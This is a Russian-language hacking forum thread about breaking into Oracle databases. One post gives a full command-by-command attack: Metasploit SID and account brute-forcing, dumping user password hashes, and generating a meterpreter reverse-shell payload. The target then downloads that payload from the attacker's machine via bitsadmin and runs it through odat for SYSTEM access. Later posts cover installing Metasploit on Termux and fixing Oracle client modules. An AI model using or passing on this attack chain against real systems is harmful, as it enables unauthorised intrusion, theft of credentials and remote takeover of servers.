Принято,пока поднимаю просто вопрос в шапку форума ,он сложный,там надо payload генерировать при атаке на эту БД.
Отпишусь позже и поделюсь мыслями и решением.

 

В общем,голыми руками без подготовки такую БД не взять.
Покажу как можно атаковать такую БД без вышеприведённого модуля и скачивания доп.пакетов или установки самой БД.
Для этой БД актуальны такие порты как tcp-1521,22,23
Tns-listener взаимодействует с этой базой.

Проверяем nmap # nmap -n -sV IP -цели -p 1521

Если порт открыт ,то пробуем атаковать c Metasploit:

# msf > use auxiliary/admin/oracle/tnscmd
# > set RHOST IP -цели
# > run

Если ничего не получилось,то:

# > use auxiliary/scanner/oracle/sid_enum -но это сработает для старых версий.
# > show options
# > set ROSTS IP-цели
# > run

Если БД новая,то результат мы не получим.
И увы,но без брута не обойтись:

# use auxiliary/admin/oracle/sid_brute
# > show options
# > set RHOST IP-цели
# > run - можно использовать при этом свой словарь,а так-расчёт на словарик из Metasploit.

Если что -то выцыганилось из XE (found sid),то успех наполовину гарантирован.
И пытаемся достать учётные записи
Здесь мы не только уже можем запустить прослушиватель,но и брутить аккаунты:

# msf > use auxiliary/scanner/oracle/oracle_login
# > show options
# > set RHOSTS IP-цели
# > set RPORTS 1521
# > run

Надо иметь в виду ,что в БД Oracle предусмотрены политики безопасности,и после неудачных попыток брутфорса,аккаунты могут быть заблокированы.
Здесь используется принцип большинства,что аккаунтов может быть много и у них разные привелегии,возможно некоторые не будут отключены.
Задача сбрутить хоть один аккаунт,но желательно , чтобы привелегии были немного хотя бы завышены.

Если это всё получилось,то Респект.
Дело за повышением привелегий, нужна утилита Sqlplus,которой мы передадим логин с паролем и мы подключимся к Oracle:

# sqlpluse ЛОГИН/ПАРОЛЬ@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(Host=IP-цели)(Port=1521))(CONNECT_DATA=(SID=XE)))

Если всё о,кей,то получаем тут же удалённую сессию и делаем запрос с получаем логинов и хэшей паролей юзеров:

# SQL > select username,password,account_status from dba_users;

А вот с получением shell всё гораздо сложнее.
Используется для этого наличие проведения java-техник,проверяем на возможность с помощью утилиты odat:

# /opt/odat# python odat.py java -s IP-цели -U Логин -P Пароль -d XE --test-module

Если ответ KO-java -то библиотека отсутствует и проверяем через планировщик dmsscheduller:

# /opt/odat# python odat.py dmsscheduller -s IP-цели -U Логин -P Пароль -d XE --test-module

Если ответ -OK,то это прекрасно.
Для залития shell,надо генерировать payload,к примеру:

# msfvenom -p windows/meterpreter/reverse_tcp -a х86 --platform windows -e x86/shikata_ga_nai -i 3 LHOST IP-атак.машины LPORT=4444-f exe > назв_файла.exe
# file назв_файла.exe
# mv назв_файла.exe /var/www/html - перенесли в каталог

Теперь,снова используем утилиту odat и заставим скачать цель наш файл встроенной утилитой в Винде bitsadmin как по http , так и по https-протоколам:

# /opt/odat# python odat.py dmsscheduler -s IP-цели -U Логин -P Пароль -d XE --ecec "C:\Windows\System32\cmd.exe /c bitsadmin /rawreturn /transfer getfiles http://IP-атак_машины/
назв_файла.exe C:\назв_файла.exe"

Мы должны увидеть успешное выполнение команды : Job is finish.
В случае с LInux используем wget.

Теперь, подключаем Metasploit :

# use exploit/multi/handler
# set PAYLOAD windows/meterpreter/reverse_tcp
# set LHOST IP -атак_машины
# > exploit

И запускаем закачанный бинарник с помощью odat с указанием пути до него:

# /opt/odat/# python odat.py dbmsscheduler -s IP-цели -U логин -P Пароль -d XE --exec "C:\назв_файла.exe"

В итоге,плучаем привелегии System ( проверяем командой getuid),т.к. Oracle часто устанавливается как системная служба.
Ну и смотрим корень диска С: ls C:\\
Эксплойты можно применять при этом различные.

P/S Конкретно по вопросу,попробуйте в начале установить отсюда Oracle, а потом то,что качали с Github.

 

Все это хорошо. Благодарю за расширенный ответ. Но у меня больше проблемы в работаспособности модулей. Я как понял из коробки метасплойт не поддерживает работу с ораклом. Нужно доставлять дополнительные вещи. У меня есть стандартная учетная запись к базе SCOTT TIGER я получил SID. База на 9 оракле.

 

Salut
Explication prouvant la métaspolite après l’arrêt.
Trop de piratage c'est pourquoi il veulent arrête la metasploit
Ceci est une autre publication 12.3.1

@davinchi


<< 1 >> apt update
<< 2 >> apt upgrade
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::
<< R >> pkg install python2 python3 git ruby perl proot
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::
<< 3 >> termux-setup-storage
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::
<< 4 >> - apt install curl
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::
<< 5 >> curl -LpO https://raw.githubusercontent.com/Hax4us/Metasploit_termux/master/metasploit.sh
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::
<< 6 >> ls
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::
<< 7 >> chmod + x metasploit.sh
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::
<< 8 >> ls
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::
<< 9 >> bash metasploit.sh
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::
<< 10 >> ls
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::
<< 11 >> cd metasploit-framework
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::
<< 12 >> bundle install rake-12.3.1
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::
<< 13 >> bundle d'installation pip2
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::
<< 14 >> bundle config build.nokogiri --use-system-libraries
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::
<< 15 >> gem install nokogiri
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::
<< 16 >> gem install pkg-config -v 12.3.1 "
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::
<< 17 >> bundle install rake-12.3.1
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::
<< 18 >> msfconsole

Notez que la méthode a été essayée plus de 5 fois et plus qu'un processeur
NS
Du groupe = MONDE DE HACEKRS
En cas d'erreur, vous devez m'envoyer

Veuillez ne pas changer la source tant que cette explication n'a pas été expliquée auparavant

 

это на каком языке было? )

 

Обычно ошибку с gem install ruby-oci8 решали как здесь
Причина также может быть в проблеме с библиотекой,или её отсутствии LD_LIBRARY_PATH,тогда сюда
На всякий случай,можно и сюда заглянуть

 

а не будет ли готовой виртуальной машины Кали с полным набором?

 

а не будет ли готовой виртуальной машины Кали с полным набором?

У меня точно нет к сожалению. Может Коллеги ещё что-нибудь подскажут.